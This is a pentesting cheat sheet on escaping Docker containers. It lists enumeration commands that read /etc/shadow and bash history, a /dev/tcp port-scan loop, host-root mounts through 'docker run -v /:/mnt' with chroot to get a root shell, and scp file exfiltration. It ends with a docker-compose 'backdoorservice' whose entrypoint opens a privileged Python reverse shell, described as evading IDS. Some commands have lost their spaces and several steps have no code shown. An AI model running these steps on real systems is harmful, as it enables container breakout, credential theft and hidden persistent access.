Docker Escape
- Docker escape refers to a security vulnerability that could potentially allow an attacker to break out of a Docker container and gain access to the host system or other containers running on the same host.
Investigation
- If we are in the docker container, we first need to investigate basic information about the container.
# Environment variables env # Command path echo$PATH ls -al /usr/local/bin ls -al /usr/local/sbin ls -al /usr/bin ls -al /bin # User enumeration cat /etc/passwd cat /etc/shadow get entpasswd # Networks cat /etc/hosts cat /etc/resolv.conf # Bash history cat /root/.bash_history cat /home/<username>/.bash_history # Interesting Directories ls -al /etc ls -al /mnt ls -al /opt ls -al /srv ls -al /var/www ls -al /var/tmp ls -al /tmp ls -al /dev/shm # Cron cat /etc/cron* crontab -l # Process ps aux psaux | cat # https://github.com/DominicBreuker/pspy ./pspy64 # Network ip addr netstat -punta ss -ltu # Port scan another host nmap 172.17.0.0/24 nmap 172.17.0.1 for i in {1..65535}; do(echo>/dev/tcp/172.17.0.1/$i) >/dev/null 2>&1 && echo$i isopen; done # SSH ssh <user>@<another_host> # Check if docker command is available. # If not, find the command in the container. docker-h find / -name "docker" 2>/dev/null # Container capabilities capsh --print # Enumerate pods crictlpods # Investigate Docker socket for containerd # crictl can be downloaded from https://github.com/kubernetes-sigs/cri-tools crictl-runix:///run/containerd/containerd.sockps crictl-runix:///run/containerd/containerd.sockimages crictl-runix:///run/containerd/containerd.sockcontainerls
Access Another Host
If we found another host but cannot access it by restrictions, we need to reverse port forward.
Please see details.
Import Required Binary from Local Machine
The container generally has few command that we want to use to exploit, so we need to import manually the command binaries if we need.
Below are examples to transfer arbitrary binary into the docker container.
SSH Login
We might be able to login SSH on the target host if we know the credentials.
Mounting
Check disks or mounted folders and we might be able to see the directories of the host system.
See Linux Privilege Escalation for details.
1. List Disks/Mounted Folders
2. Mount Folder
If we find a folder which is not mounted in the container, mount it to go inside the directory.
Now we can observe inside the /mnt/tmp directory.
Gain Access to Mounted System
After mounting or found mounted folder, we can change root to the mounted folder:
Privilege Escalation to Root
Please see Linux Privilege Escalation.
Run Vulnerable Docker Image
According to Hacktricks, we can escape a docker container with the vulnerable image.
Execute the following command in the target machine where a docker container is running..
Download Interesting Files
Also we can use “scp” under the condition that the local machine opens SSH server.
# In local machine
sudo system ctl start ssh
# In remote machine
scp./example.txt<username>@<local-ip>:/home/<username>/example.txt
Run Existing Docker Image
1. Check if current user belongs to "docker" group
2. List Docker Images
3. Start Container and Get Shell
If we found Docker images running, we can use it to get a root shell Replace “example” with the docker image you found.
# -v: Mount the host directory ('/') to the '/mnt' directory in the container.
# --rm: Automatically remove the container when it exits.
# -it: Interective and TTY
# chroot /mnt sh: Change the root directory of the current process to the '/mnt' directory, then execute 'sh' command to get a shell as root.
dockerrun-v/:/mnt--rm-itexamplechroot/mntsh
Alternatively we can use following commands.
# --entrypoint=/bin/bash: Override the default entrypoint to '/bin/bash', which means that when the container starts, it will launch a bash shell.
dockerrun-it--entrypoint=/bin/bash-v/:/mnt/<image>:<tag>
# e.g.
dockerrun-it--entrypoint=/bin/bash-v/:/mnt/example:master
After that, you can investigate sensitive information in the /mnt/ folders.
Reference: https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25
Establish Persistence After PrivEsc
After that you invaded the docker container, you might be able to make it persistence while evading the IDS alerts by creating a docker compose file and abusing the entrypoint option to grant you a reverse shell.
Create a ~/docker-compose.yaml in the container.
You need to replace the <image>, <local-ip>, <local-ip> with your environment.
version: "2.1"
services:
backdoorservice:
restart: always
image: <image>
entrypoint: >
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<local-ip>",<local-ip>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")'
volumes:
- /:/mnt
privileged: true
Then start listener in your local machine.
Now run the docker compose in remote machine. You should gain a shell.
Amazon Elastic Container Registry (ECR) Public Gallery
1. Run the Docker Container
2. Get Sensitive Information in the Container
- You may be able to get the interesting data like api_key.